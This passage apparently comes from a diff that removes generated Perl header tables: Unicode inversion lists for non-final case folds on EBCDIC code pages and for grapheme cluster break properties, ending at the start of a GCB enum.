\ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for EBCDIC 1047 */ - 45, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2BC, - 0x2BD, - 0x308, - 0x309, - 0x313, - 0x314, - 0x342, - 0x343, - 0x3AC, - 0x3AD, - 0x3AE, - 0x3AF, - 0x3B1, - 0x3B2, - 0x3B7, - 0x3B8, - 0x3B9, - 0x3BA, - 0x3C1, - 0x3C2, - 0x3C5, - 0x3C6, - 0x3C9, - 0x3CA, - 0x3CE, - 0x3CF, - 0x565, - 0x566, - 0x574, - 0x575, - 0x57E, - 0x57F, - 0x1F00, - 0x1F08, - 0x1F20, - 0x1F28, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F71, - 0x1F74, - 0x1F75, - 0x1F7C, - 0x1F7D -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV NonL1_Perl_Non_Final_Folds_invlist[] = { /* for EBCDIC 037 */ - 45, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2BC, - 0x2BD, - 0x308, - 0x309, - 0x313, - 0x314, - 0x342, - 0x343, - 0x3AC, - 0x3AD, - 0x3AE, - 0x3AF, - 0x3B1, - 0x3B2, - 0x3B7, - 0x3B8, - 0x3B9, - 0x3BA, - 0x3C1, - 0x3C2, - 0x3C5, - 0x3C6, - 0x3C9, - 0x3CA, - 0x3CE, - 0x3CF, - 0x565, - 0x566, - 0x574, - 0x575, - 0x57E, - 0x57F, - 0x1F00, - 0x1F08, - 0x1F20, - 0x1F28, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F71, - 0x1F74, - 0x1F75, - 0x1F7C, - 0x1F7D -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV _Perl_GCB_invlist[] = { /* for ASCII/Latin1 */ - 1690, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA, - 0xB, - 0xD, - 0xE, - 0x20, - 0x7F, - 0xA0, - 0xAD, - 0xAE, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x600, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DD, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x8E2, - 0x8E3, - 0x903, - 0x904, - 0x93A, - 0x93B, - 0x93C, - 0x93D, - 0x93E, - 0x941, - 0x949, - 0x94D, - 0x94E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x982, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9BF, - 0x9C1, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA03, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA41, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA83, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC1, - 0xAC6, - 0xAC7, - 0xAC9, - 0xACA, - 0xACB, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB40, - 0xB41, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBBF, - 0xBC0, - 0xBC1, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC01, - 0xC04, - 0xC3E, - 0xC41, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCBF, - 0xCC0, - 0xCC2, - 0xCC3, - 0xCC5, - 0xCC6, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD3F, - 0xD41, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD4F, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD0, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDDF, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE33, - 0xE34, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1056, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1084, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x1100, - 0x1160, - 0x11A8, - 0x1200, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180E, - 0x180F, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x192C, - 0x1930, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A55, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B05, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1B83, - 0x1BA1, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1BF4, - 0x1C24, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x200C, - 0x200D, - 0x200E, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0x20D0, - 0x20F1, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA825, - 0xA827, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA983, - 0xA984, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA4E, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAEC, - 0xAAEE, - 0xAAF0, - 0xAAF5, - 0xAAF6, - 0xAAF7, - 0xABE3, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABEB, - 0xABEC, - 0xABED, - 0xABEE, - 0xAC00, - 0xAC01, - 0xAC1C, - 0xAC1D, - 0xAC38, - 0xAC39, - 0xAC54, - 0xAC55, - 0xAC70, - 0xAC71, - 0xAC8C, - 0xAC8D, - 0xACA8, - 0xACA9, - 0xACC4, - 0xACC5, - 0xACE0, - 0xACE1, - 0xACFC, - 0xACFD, - 0xAD18, - 0xAD19, - 0xAD34, - 0xAD35, - 0xAD50, - 0xAD51, - 0xAD6C, - 0xAD6D, - 0xAD88, - 0xAD89, - 0xADA4, - 0xADA5, - 0xADC0, - 0xADC1, - 0xADDC, - 0xADDD, - 0xADF8, - 0xADF9, - 0xAE14, - 0xAE15, - 0xAE30, - 0xAE31, - 0xAE4C, - 0xAE4D, - 0xAE68, - 0xAE69, - 0xAE84, - 0xAE85, - 0xAEA0, - 0xAEA1, - 0xAEBC, - 0xAEBD, - 0xAED8, - 0xAED9, - 0xAEF4, - 0xAEF5, - 0xAF10, - 0xAF11, - 0xAF2C, - 0xAF2D, - 0xAF48, - 0xAF49, - 0xAF64, - 0xAF65, - 0xAF80, - 0xAF81, - 0xAF9C, - 0xAF9D, - 0xAFB8, - 0xAFB9, - 0xAFD4, - 0xAFD5, - 0xAFF0, - 0xAFF1, - 0xB00C, - 0xB00D, - 0xB028, - 0xB029, - 0xB044, - 0xB045, - 0xB060, - 0xB061, - 0xB07C, - 0xB07D, - 0xB098, - 0xB099, - 0xB0B4, - 0xB0B5, - 0xB0D0, - 0xB0D1, - 0xB0EC, - 0xB0ED, - 0xB108, - 0xB109, - 0xB124, - 0xB125, - 0xB140, - 0xB141, - 0xB15C, - 0xB15D, - 0xB178, - 0xB179, - 0xB194, - 0xB195, - 0xB1B0, - 0xB1B1, - 0xB1CC, - 0xB1CD, - 0xB1E8, - 0xB1E9, - 0xB204, - 0xB205, - 0xB220, - 0xB221, - 0xB23C, - 0xB23D, - 0xB258, - 0xB259, - 0xB274, - 0xB275, - 0xB290, - 0xB291, - 0xB2AC, - 0xB2AD, - 0xB2C8, - 0xB2C9, - 0xB2E4, - 0xB2E5, - 0xB300, - 0xB301, - 0xB31C, - 0xB31D, - 0xB338, - 0xB339, - 0xB354, - 0xB355, - 0xB370, - 0xB371, - 0xB38C, - 0xB38D, - 0xB3A8, - 0xB3A9, - 0xB3C4, - 0xB3C5, - 0xB3E0, - 0xB3E1, - 0xB3FC, - 0xB3FD, - 0xB418, - 0xB419, - 0xB434, - 0xB435, - 0xB450, - 0xB451, - 0xB46C, - 0xB46D, - 0xB488, - 0xB489, - 0xB4A4, - 0xB4A5, - 0xB4C0, - 0xB4C1, - 0xB4DC, - 0xB4DD, - 0xB4F8, - 0xB4F9, - 0xB514, - 0xB515, - 0xB530, - 0xB531, - 0xB54C, - 0xB54D, - 0xB568, - 0xB569, - 0xB584, - 0xB585, - 0xB5A0, - 0xB5A1, - 0xB5BC, - 0xB5BD, - 0xB5D8, - 0xB5D9, - 0xB5F4, - 0xB5F5, - 0xB610, - 0xB611, - 0xB62C, - 0xB62D, - 0xB648, - 0xB649, - 0xB664, - 0xB665, - 0xB680, - 0xB681, - 0xB69C, - 0xB69D, - 0xB6B8, - 0xB6B9, - 0xB6D4, - 0xB6D5, - 0xB6F0, - 0xB6F1, - 0xB70C, - 0xB70D, - 0xB728, - 0xB729, - 0xB744, - 0xB745, - 0xB760, - 0xB761, - 0xB77C, - 0xB77D, - 0xB798, - 0xB799, - 0xB7B4, - 0xB7B5, - 0xB7D0, - 0xB7D1, - 0xB7EC, - 0xB7ED, - 0xB808, - 0xB809, - 0xB824, - 0xB825, - 0xB840, - 0xB841, - 0xB85C, - 0xB85D, - 0xB878, - 0xB879, - 0xB894, - 0xB895, - 0xB8B0, - 0xB8B1, - 0xB8CC, - 0xB8CD, - 0xB8E8, - 0xB8E9, - 0xB904, - 0xB905, - 0xB920, - 0xB921, - 0xB93C, - 0xB93D, - 0xB958, - 0xB959, - 0xB974, - 0xB975, - 0xB990, - 0xB991, - 0xB9AC, - 0xB9AD, - 0xB9C8, - 0xB9C9, - 0xB9E4, - 0xB9E5, - 0xBA00, - 0xBA01, - 0xBA1C, - 0xBA1D, - 0xBA38, - 0xBA39, - 0xBA54, - 0xBA55, - 0xBA70, - 0xBA71, - 0xBA8C, - 0xBA8D, - 0xBAA8, - 0xBAA9, - 0xBAC4, - 0xBAC5, - 0xBAE0, - 0xBAE1, - 0xBAFC, - 0xBAFD, - 0xBB18, - 0xBB19, - 0xBB34, - 0xBB35, - 0xBB50, - 0xBB51, - 0xBB6C, - 0xBB6D, - 0xBB88, - 0xBB89, - 0xBBA4, - 0xBBA5, - 0xBBC0, - 0xBBC1, - 0xBBDC, - 0xBBDD, - 0xBBF8, - 0xBBF9, - 0xBC14, - 0xBC15, - 0xBC30, - 0xBC31, - 0xBC4C, - 0xBC4D, - 0xBC68, - 0xBC69, - 0xBC84, - 0xBC85, - 0xBCA0, - 0xBCA1, - 0xBCBC, - 0xBCBD, - 0xBCD8, - 0xBCD9, - 0xBCF4, - 0xBCF5, - 0xBD10, - 0xBD11, - 0xBD2C, - 0xBD2D, - 0xBD48, - 0xBD49, - 0xBD64, - 0xBD65, - 0xBD80, - 0xBD81, - 0xBD9C, - 0xBD9D, - 0xBDB8, - 0xBDB9, - 0xBDD4, - 0xBDD5, - 0xBDF0, - 0xBDF1, - 0xBE0C, - 0xBE0D, - 0xBE28, - 0xBE29, - 0xBE44, - 0xBE45, - 0xBE60, - 0xBE61, - 0xBE7C, - 0xBE7D, - 0xBE98, - 0xBE99, - 0xBEB4, - 0xBEB5, - 0xBED0, - 0xBED1, - 0xBEEC, - 0xBEED, - 0xBF08, - 0xBF09, - 0xBF24, - 0xBF25, - 0xBF40, - 0xBF41, - 0xBF5C, - 0xBF5D, - 0xBF78, - 0xBF79, - 0xBF94, - 0xBF95, - 0xBFB0, - 0xBFB1, - 0xBFCC, - 0xBFCD, - 0xBFE8, - 0xBFE9, - 0xC004, - 0xC005, - 0xC020, - 0xC021, - 0xC03C, - 0xC03D, - 0xC058, - 0xC059, - 0xC074, - 0xC075, - 0xC090, - 0xC091, - 0xC0AC, - 0xC0AD, - 0xC0C8, - 0xC0C9, - 0xC0E4, - 0xC0E5, - 0xC100, - 0xC101, - 0xC11C, - 0xC11D, - 0xC138, - 0xC139, - 0xC154, - 0xC155, - 0xC170, - 0xC171, - 0xC18C, - 0xC18D, - 0xC1A8, - 0xC1A9, - 0xC1C4, - 0xC1C5, - 0xC1E0, - 0xC1E1, - 0xC1FC, - 0xC1FD, - 0xC218, - 0xC219, - 0xC234, - 0xC235, - 0xC250, - 0xC251, - 0xC26C, - 0xC26D, - 0xC288, - 0xC289, - 0xC2A4, - 0xC2A5, - 0xC2C0, - 0xC2C1, - 0xC2DC, - 0xC2DD, - 0xC2F8, - 0xC2F9, - 0xC314, - 0xC315, - 0xC330, - 0xC331, - 0xC34C, - 0xC34D, - 0xC368, - 0xC369, - 0xC384, - 0xC385, - 0xC3A0, - 0xC3A1, - 0xC3BC, - 0xC3BD, - 0xC3D8, - 0xC3D9, - 0xC3F4, - 0xC3F5, - 0xC410, - 0xC411, - 0xC42C, - 0xC42D, - 0xC448, - 0xC449, - 0xC464, - 0xC465, - 0xC480, - 0xC481, - 0xC49C, - 0xC49D, - 0xC4B8, - 0xC4B9, - 0xC4D4, - 0xC4D5, - 0xC4F0, - 0xC4F1, - 0xC50C, - 0xC50D, - 0xC528, - 0xC529, - 0xC544, - 0xC545, - 0xC560, - 0xC561, - 0xC57C, - 0xC57D, - 0xC598, - 0xC599, - 0xC5B4, - 0xC5B5, - 0xC5D0, - 0xC5D1, - 0xC5EC, - 0xC5ED, - 0xC608, - 0xC609, - 0xC624, - 0xC625, - 0xC640, - 0xC641, - 0xC65C, - 0xC65D, - 0xC678, - 0xC679, - 0xC694, - 0xC695, - 0xC6B0, - 0xC6B1, - 0xC6CC, - 0xC6CD, - 0xC6E8, - 0xC6E9, - 0xC704, - 0xC705, - 0xC720, - 0xC721, - 0xC73C, - 0xC73D, - 0xC758, - 0xC759, - 0xC774, - 0xC775, - 0xC790, - 0xC791, - 0xC7AC, - 0xC7AD, - 0xC7C8, - 0xC7C9, - 0xC7E4, - 0xC7E5, - 0xC800, - 0xC801, - 0xC81C, - 0xC81D, - 0xC838, - 0xC839, - 0xC854, - 0xC855, - 0xC870, - 0xC871, - 0xC88C, - 0xC88D, - 0xC8A8, - 0xC8A9, - 0xC8C4, - 0xC8C5, - 0xC8E0, - 0xC8E1, - 0xC8FC, - 0xC8FD, - 0xC918, - 0xC919, - 0xC934, - 0xC935, - 0xC950, - 0xC951, - 0xC96C, - 0xC96D, - 0xC988, - 0xC989, - 0xC9A4, - 0xC9A5, - 0xC9C0, - 0xC9C1, - 0xC9DC, - 0xC9DD, - 0xC9F8, - 0xC9F9, - 0xCA14, - 0xCA15, - 0xCA30, - 0xCA31, - 0xCA4C, - 0xCA4D, - 0xCA68, - 0xCA69, - 0xCA84, - 0xCA85, - 0xCAA0, - 0xCAA1, - 0xCABC, - 0xCABD, - 0xCAD8, - 0xCAD9, - 0xCAF4, - 0xCAF5, - 0xCB10, - 0xCB11, - 0xCB2C, - 0xCB2D, - 0xCB48, - 0xCB49, - 0xCB64, - 0xCB65, - 0xCB80, - 0xCB81, - 0xCB9C, - 0xCB9D, - 0xCBB8, - 0xCBB9, - 0xCBD4, - 0xCBD5, - 0xCBF0, - 0xCBF1, - 0xCC0C, - 0xCC0D, - 0xCC28, - 0xCC29, - 0xCC44, - 0xCC45, - 0xCC60, - 0xCC61, - 0xCC7C, - 0xCC7D, - 0xCC98, - 0xCC99, - 0xCCB4, - 0xCCB5, - 0xCCD0, - 0xCCD1, - 0xCCEC, - 0xCCED, - 0xCD08, - 0xCD09, - 0xCD24, - 0xCD25, - 0xCD40, - 0xCD41, - 0xCD5C, - 0xCD5D, - 0xCD78, - 0xCD79, - 0xCD94, - 0xCD95, - 0xCDB0, - 0xCDB1, - 0xCDCC, - 0xCDCD, - 0xCDE8, - 0xCDE9, - 0xCE04, - 0xCE05, - 0xCE20, - 0xCE21, - 0xCE3C, - 0xCE3D, - 0xCE58, - 0xCE59, - 0xCE74, - 0xCE75, - 0xCE90, - 0xCE91, - 0xCEAC, - 0xCEAD, - 0xCEC8, - 0xCEC9, - 0xCEE4, - 0xCEE5, - 0xCF00, - 0xCF01, - 0xCF1C, - 0xCF1D, - 0xCF38, - 0xCF39, - 0xCF54, - 0xCF55, - 0xCF70, - 0xCF71, - 0xCF8C, - 0xCF8D, - 0xCFA8, - 0xCFA9, - 0xCFC4, - 0xCFC5, - 0xCFE0, - 0xCFE1, - 0xCFFC, - 0xCFFD, - 0xD018, - 0xD019, - 0xD034, - 0xD035, - 0xD050, - 0xD051, - 0xD06C, - 0xD06D, - 0xD088, - 0xD089, - 0xD0A4, - 0xD0A5, - 0xD0C0, - 0xD0C1, - 0xD0DC, - 0xD0DD, - 0xD0F8, - 0xD0F9, - 0xD114, - 0xD115, - 0xD130, - 0xD131, - 0xD14C, - 0xD14D, - 0xD168, - 0xD169, - 0xD184, - 0xD185, - 0xD1A0, - 0xD1A1, - 0xD1BC, - 0xD1BD, - 0xD1D8, - 0xD1D9, - 0xD1F4, - 0xD1F5, - 0xD210, - 0xD211, - 0xD22C, - 0xD22D, - 0xD248, - 0xD249, - 0xD264, - 0xD265, - 0xD280, - 0xD281, - 0xD29C, - 0xD29D, - 0xD2B8, - 0xD2B9, - 0xD2D4, - 0xD2D5, - 0xD2F0, - 0xD2F1, - 0xD30C, - 0xD30D, - 0xD328, - 0xD329, - 0xD344, - 0xD345, - 0xD360, - 0xD361, - 0xD37C, - 0xD37D, - 0xD398, - 0xD399, - 0xD3B4, - 0xD3B5, - 0xD3D0, - 0xD3D1, - 0xD3EC, - 0xD3ED, - 0xD408, - 0xD409, - 0xD424, - 0xD425, - 0xD440, - 0xD441, - 0xD45C, - 0xD45D, - 0xD478, - 0xD479, - 0xD494, - 0xD495, - 0xD4B0, - 0xD4B1, - 0xD4CC, - 0xD4CD, - 0xD4E8, - 0xD4E9, - 0xD504, - 0xD505, - 0xD520, - 0xD521, - 0xD53C, - 0xD53D, - 0xD558, - 0xD559, - 0xD574, - 0xD575, - 0xD590, - 0xD591, - 0xD5AC, - 0xD5AD, - 0xD5C8, - 0xD5C9, - 0xD5E4, - 0xD5E5, - 0xD600, - 0xD601, - 0xD61C, - 0xD61D, - 0xD638, - 0xD639, - 0xD654, - 0xD655, - 0xD670, - 0xD671, - 0xD68C, - 0xD68D, - 0xD6A8, - 0xD6A9, - 0xD6C4, - 0xD6C5, - 0xD6E0, - 0xD6E1, - 0xD6FC, - 0xD6FD, - 0xD718, - 0xD719, - 0xD734, - 0xD735, - 0xD750, - 0xD751, - 0xD76C, - 0xD76D, - 0xD788, - 0xD789, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xE000, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFF9E, - 0xFFA0, - 0xFFF0, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11000, - 0x11001, - 0x11002, - 0x11003, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x11083, - 0x110B0, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x11183, - 0x111B3, - 0x111B6, - 0x111BF, - 0x111C1, - 0x111C2, - 0x111C4, - 0x111CA, - 0x111CD, - 0x1122C, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x1133F, - 0x11340, - 0x11341, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B0, - 0x114B1, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BD, - 0x114BE, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115AF, - 0x115B0, - 0x115B2, - 0x115B6, - 0x115B8, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A86, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C2F, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D166, - 0x1D167, - 0x1D16A, - 0x1D16D, - 0x1D16E, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0xE0000, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0, - 0xE1000 -}; - -# endif /* ASCII/Latin1 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 65 /* ASCII/Latin1 */ - -typedef enum { - GCB_Other = 0, - GCB_CR = 1, - GCB_Control = 2, - GCB_E_Base = 3, - 